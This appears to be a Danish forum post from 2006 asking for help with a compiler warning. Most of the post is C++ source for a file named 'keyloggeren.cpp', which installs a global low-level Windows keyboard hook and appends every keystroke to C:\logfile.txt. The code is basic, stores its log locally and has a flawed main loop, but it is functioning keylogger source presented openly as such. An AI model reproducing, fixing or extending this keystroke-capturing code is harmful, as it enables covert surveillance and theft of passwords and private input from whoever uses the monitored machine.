Tak for linket.
Jeg er nået frem til det her:
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <iostream>
HHOOK KeyboardHook;
LRESULT LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
{
// info om den knap, man har trykket på
KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
// bogstavet, der hører til knappen
char lettre=(char)hookstruct.vkCode;
// bytes der bliver skrevet til WriteFile()
DWORD Ecrits;
// åbner en logfil. laver en ny, hvis den ikke eksisterer
HANDLE hFichier = CreateFile("C:\\\\logfile.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
//hvis hfichier er valid
if( hFichier != INVALID_HANDLE_VALUE)
{
// sætter pointeren i slutningen af filen
SetFilePointer(hFichier,NULL,NULL,FILE_END);
// skriver knappen til logfilen
WriteFile(hFichier,&lettre,1,&Ecrits,NULL);
// lukker logfilen
CloseHandle(hFichier);
}
}
return CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
}
int main()
{
char ch;
while ( (ch = std::cin.get()) != 'x')
{
KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC )LowLevelKeyboardProc, GetModuleHandle(0), 0);
}
return EXIT_SUCCESS;
}
Men jeg får følgende compilerfejl:
keyloggeren.cpp: In function `LRESULT LowLevelKeyboardProc(int, WPARAM, LPARAM)':
keyloggeren.cpp:27: warning: passing NULL used for non-pointer converting 2 of `DWORD SetFilePointer(void*, LONG, LONG*, DWORD)'
Linje 27 er:
SetFilePointer(hFichier,NULL,NULL,FILE_END);
Håber nogen lige vil tage et kig på det og fortælle, hvad der er galt.
Indlæg senest redigeret d. 10.08.2006 12:18 af Bruger #10105